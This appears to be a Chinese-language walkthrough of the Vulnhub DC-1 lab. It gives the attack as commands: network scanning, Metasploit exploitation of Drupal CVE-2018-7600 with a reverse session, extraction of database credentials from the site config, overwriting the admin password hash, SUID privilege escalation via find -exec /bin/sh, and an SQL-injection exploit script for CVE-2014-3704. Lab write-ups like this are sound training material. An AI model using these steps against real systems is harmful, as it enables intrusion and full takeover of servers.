Vulnhub靶场之DC-1

Vulnhub靶场之DC-1相关内容

网络环境

攻击机与靶机采用VMnet19网卡,网络环境搭建

下载

DC-1下载链接

主机探测

arp-scan -l

image-20260331085146159

信息收集

nmap -p- 192.168.19.132

image-20260331085332034

访问端口

image-20260331085908590

目录扫描

dirsearch -u "192.168.19.132"

image-20260331091545897

没有扫到什么有用的东西

msfconsole

Drupal曾经存在过漏洞(CVE-2018-7600)

启动msf并搜索Drupal

msfconsole
search Drupal

image-20260331090737365

use 1
set rhost 192.168.19.132

image-20260331091420569

show options
set lhost 192.168.19.128

image-20260331091449852

run

image-20260331091609803

ls

image-20260331091724226

找到flag1.txt

cat flag1.txt

image-20260331091936528

查看配置文件

在翻阅了一堆配置文件后,最终在sites/default/settings.php中找到了数据库密码

image-20260331092700110

进入交互式shell

shell
python -c 'import pty; pty.spawn("/bin/bash")'

image-20260331093009078

连接数据库

mysql -u dbuser -p R0ck3t 
use drupaldb;

image-20260331093247946

show tables;

发现users表

select * from users;

image-20260331093534646

密码都经过hash加密,退出搜索一下加密脚本

exit
find . -name '*hash*'

image-20260331093944862

查看这个脚本

cat ./scripts/password-hash.sh

image-20260331132942759

这个脚本是用来进行加密的

自定义密码

使用这个脚本,算出自定义密码的hash

./scripts/password-hash.sh 123456

image-20260331133122494

得到hash

password: 123456                hash: $S$D1LlFC/KfBhbiGZJFpjOQDn41lrkn0DrzUqYe/nkT487howUEG67

修改密码

mysql  -udbuser   -pR0ck3t
use drupaldb;
select  *   from  users\G;

image-20260331133827919

image-20260331133906522

update  users set pass='$S$Dra0wS6EFmk6TZ8rZxcrrvpJQzSCcFgwvVWa2oY2b6KuuB49UEXu' where uid=1;

image-20260331133928354

使用用户名密码登录Drupal

image-20260331134044171

在dashboard中找到flag3

image-20260331134155793

image-20260331135138599

需要查看shadow,先查看一下/etc/passwd

exit
cd /etc/passwd

image-20260331134449263

发现flag4

cd /home/flag4
ls
cat flag4.txt

image-20260331134641639

使用SUID提权

查询具有SUID权限的文件

find / -user root -perm -4000 -print 2>/dev/null

image-20260331164928074

补:可用于提权的高危工具列表

Nmap:网络扫描工具。

Vim:文本编辑器。

find:文件查找工具。

Bash:Shell。

More/Less:文件分页查看工具。

Nano:轻量级文本编辑器。

cp:文件复制工具。

使用find命令进行提权

find / -name index.php -exec "/bin/sh" \;

image-20260331165232113

成功取得了root权限

进入交互式shell,查找flag

python -c 'import pty;pty.spawn("/bin/bash")'
find / -name "*flag*"

image-20260331165621677

cat /root/thefinalflag.txt

image-20260331170007798

补:CVE2014-3704

CVE2014-3704

Drupal7.0-7.31版本可通过sql注入直接添加管理员用户

image-20260331170151537

下载后,使用python2运行

image-20260331170520677

image-20260331170618965

python2 34992.py -t http://192.168.19.132 -u xx -p 123 

image-20260331170852707

image-20260331170923347

image-20260331170956622

文章评论